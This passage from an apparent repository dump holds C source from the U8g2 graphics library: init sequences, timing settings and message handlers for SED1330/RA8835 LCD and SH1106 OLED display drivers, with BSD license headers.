U8X8_A(0x087),\t\t\t\t/* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */\n  U8X8_A(0x007),\t\t\t\t/* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */\n  U8X8_A(0x027),\t/* 40-1 */\t\t/* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */\n  U8X8_A(0x039),\t\t\t\t\t/* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/\n  U8X8_A(0x0ef),\t\t\t\t/* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/\n  U8X8_A(0x028),\t\t\t\t/* Low byte of the virtual screen size. (Value confirmed with app notes p41)   */\n  U8X8_A(0),\t\t\t\t\t/* High byte of the virtual screen size, see also section 9.1.2 */\n\t\n  U8X8_C(0x044),\t\t\t\t/* SCROLL */\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x0ef),\n  U8X8_A(0x0b0),\n  U8X8_A(0x004),\n  U8X8_A(0x0ef),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n\t\n  U8X8_CA(0x05a, 0),\t\t\t/* HDOT SCR: Horizontal dotwise scroll... set to 0 */\n\t\n  U8X8_CA(0x05b, 0x0c),\t\t\t/* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */\n\n\n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\n\n\nuint8_t u8x8_d_ra8835_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_320x240_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_320x240_init_seq);\n      break;\n    default:\n      return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=============================================*/\n/*\nhttps://github.com/olikraus/u8g2/issues/1908\nhttps://www.allelectronics.com/mas_assets/media/allelectronics2018/spec/LCD-101.pdf\n*/\n\nstatic const u8x8_display_info_t u8x8_sed1330_256x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 30,\t/* G242CX Datasheet p5 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* G242CX Datasheet p5 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 120,\t\t/* G242CX Datasheet p5 */\n  /* write_pulse_width_ns = */ 220,\t\t/* G242CX Datasheet p5 */\n  /* tile_width = */ 32,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 128\n};\n\n\n/* 256x128 Hyundai HG25604  (HG25504???) */\nstatic const uint8_t u8x8_d_sed1330_256x128_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n\n  /* system init command, see also u8x8_d_sed1330_powersave0_seq */\n  U8X8_CA(0x040, 0x030),\t\t/* sys init (0x040) with one arg, where 0x030 is a wild guess */\n  /* system init has total 8 parameters, so 7 more are here */\n  U8X8_A(0x087),\t\t\t\t/* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */\n  U8X8_A(0x007),\t\t\t\t/* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */\n  U8X8_A(0x01f),\t\t/* 32-1*/  /* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */\n  U8X8_A(0x050),\t\t\t\t\t/* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/\n  U8X8_A(0x080),\t\t\t\t/* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/\n  U8X8_A(0x020),\t\t/* 32 */\t/* Low byte of the virtual screen size. (Value confirmed with app notes p41)   */\n  U8X8_A(0),\t\t\t\t\t/* High byte of the virtual screen size, see also section 9.1.2 */\n\t\n  U8X8_C(0x044),\t\t\t\t/* SCROLL, 11 Bytes in total */\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x080),\n  U8X8_A(0x000),\n  U8X8_A(0x040),\n  U8X8_A(0x080),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n\t\n  U8X8_CA(0x05a, 0),\t\t\t/* HDOT SCR: Horizontal dotwise scroll... set to 0 */\n\t\n  U8X8_CA(0x05b, 0x0c),\t\t\t/* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */\n\n\n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\nuint8_t u8x8_d_sed1330_256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_256x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_256x128_init_seq);\n      break;\n    default:\n      return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n\n\n\n\n/*=============================================*/\n\n/*\nhttps://github.com/olikraus/u8g2/issues/1086\n*/\n\nstatic const u8x8_display_info_t u8x8_sed1330_320x200_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 30,\t/* G242CX Datasheet p5 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* G242CX Datasheet p5 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 120,\t\t/* G242CX Datasheet p5 */\n  /* write_pulse_width_ns = */ 220,\t\t/* G242CX Datasheet p5 */\n  /* tile_width = */ 40,\n  /* tile_height = */ 25,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 320,\n  /* pixel_height = */ 200\n};\n\nstatic const uint8_t u8x8_d_sed1330_320x200_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n\n  /* system init command, see also u8x8_d_sed1330_powersave0_seq */\n  U8X8_CA(0x040, 0x030),\t\t/* sys init (0x040) with one arg, where 0x030 is a wild guess */\n  /* system init has total 8 parameters, so 7 more are here */\n\t\n  U8X8_A(0x087),\t\t\t\t/* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */\n  U8X8_A(0x007),\t\t\t\t/* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */\n  U8X8_A(0x027),\t/* 40-1 */\t\t/* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */\n  U8X8_A(0x02F),\t\t\t\t/* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/\n  U8X8_A(0x0c7),\t\t\t\t/* 0xc7=199, L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/\n  U8X8_A(0x028),\t\t\t\t/* Low byte of the virtual screen size. (Value confirmed with app notes p41)   */\n  U8X8_A(0x000),\t\t\t\t/* High byte of the virtual screen size, see also section 9.1.2 */\n\t\n  U8X8_C(0x044),\t\t\t\t/* SCROLL, 11 Bytes in total */\n  U8X8_A(0x000),\t\t\t\t/* Screen 1 Start Address (Low) = 00H */\n  U8X8_A(0x000),\t\t\t\t/* Screen 1 Start Address (High) = 00H */\n  U8X8_A(0x0c7),                                /* Screen Layer 1 Number of lines = 200d */ \n  U8X8_A(0x0b0),                                /* Screen 2 Start Address (Low) = 00H */\n  U8X8_A(0x005),                                /* Screen 2 Start Address (High) = 00H */\n  U8X8_A(0x0c7),                                /* Screen Layer 2 Number of lines = 200d */\n  U8X8_C(0x04C),                                /* Cursor Direction 0,0 Shift Direction = Right */\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n\n  U8X8_CA(0x05a, 0),\t\t\t/* HDOT SCR: Horizontal dotwise scroll... set to 0 */\n\t\n  U8X8_CA(0x05b, 0x0c),\t\t\t/* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */\n\n\n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\n\n\nuint8_t u8x8_d_sed1330_320x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_320x200_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_320x200_init_seq);\n      break;\n    default:\n      return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sh1106_64x32.c",
    "content": "/*\n\n  u8x8_d_sh1106_64x32.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* issue 568 */\nstatic const uint8_t u8x8_d_sh1106_64x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x01f),\t\t/* multiplex ratio, 0.42 OLED */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset, 0.42 OLED  */\n  U8X8_C(0x040),\t\t                /* set display start line to 0, 0.42 OLED */\n  U8X8_CA(0xad, 0x8b),      \t \t/* DC-DC ON/OFF Mode Set: Built-in DC-DC is used, Normal Display (POR = 0x8b) */\n  U8X8_C(0x33),\t\t\t\t/* set charge pump voltage 0x30 (POR) .. 0x33 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */\n  U8X8_CA(0x081, 0x080),\t\t/* [2] set contrast control, 0.42 OLED datasheet: 0xcf */\n  U8X8_CA(0x0d9, 0x022),\t\t/* [2] pre-charge period 0x022/f1, 0.42 OLED datasheet: 0x22 */\n  U8X8_CA(0x0db, 0x028),\t\t/* vcomh deselect level, 0.42 OLED datasheet: 0x00 */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_64x32_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_64x32_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_64x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_CA(0x0d3, 0),\t\t\t/* display offset, 0.42 OLED  */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_64x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_CA(0x0d3, 0),\t\t/* What is the correct offset in flip 1 mode?  --> Issue 547 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_sh1106_64x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_64x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n        u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_powersave0_seq);\n      else\n        u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n        u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_flip0_seq);\n        u8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n        u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_flip1_seq);\n        u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* copied from SSD1306 */\nstatic const u8x8_display_info_t u8x8_sh1106_64x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 8,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 32,\n  /* flipmode_x_offset = */ 36,\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_sh1106_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_64x32_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_init_seq);    \n      return 1;\n    }\n    return u8x8_d_sh1106_64x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sh1106_72x40.c",
    "content": "/*\n\n  u8x8_d_sh1106_72x40.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* WiseChip 0.42 OLED, issue 547 */\nstatic const uint8_t u8x8_d_sh1106_72x40_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x027),\t\t/* multiplex ratio, 0.42 OLED */\n  U8X8_CA(0x0d3, 0x00c),\t\t/* display offset, 0.42 OLED  */\n  U8X8_C(0x040),\t\t                /* set display start line to 0, 0.42 OLED */\n  U8X8_CA(0xad, 0x8b),      \t \t/* DC-DC ON/OFF Mode Set: Built-in DC-DC is used, Normal Display (POR = 0x8b) */\n  U8X8_C(0x33),\t\t\t\t/* set charge pump voltage 0x30 (POR) .. 0x33 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */\n  U8X8_CA(0x081, 0x080),\t\t/* [2] set contrast control, 0.42 OLED datasheet: 0xcf */\n  U8X8_CA(0x0d9, 0x022),\t\t/* [2] pre-charge period 0x022/f1, 0.42 OLED datasheet: 0x22 */\n  U8X8_CA(0x0db, 0x028),\t\t/* vcomh deselect level, 0.42 OLED datasheet: 0x00 */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_72x40_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_72x40_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_72x40_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_CA(0x0d3, 12),\t\t\t/* display offset, 0.42 OLED  */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1106_72x40_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_CA(0x0d3, 52),\t\t/* What is the correct offset in flip 1 mode?  --> Issue 547 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_sh1106_72x40_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_72x40_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* copied from SSD1306 */\nstatic const u8x8_display_info_t u8x8_sh1106_72x40_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = 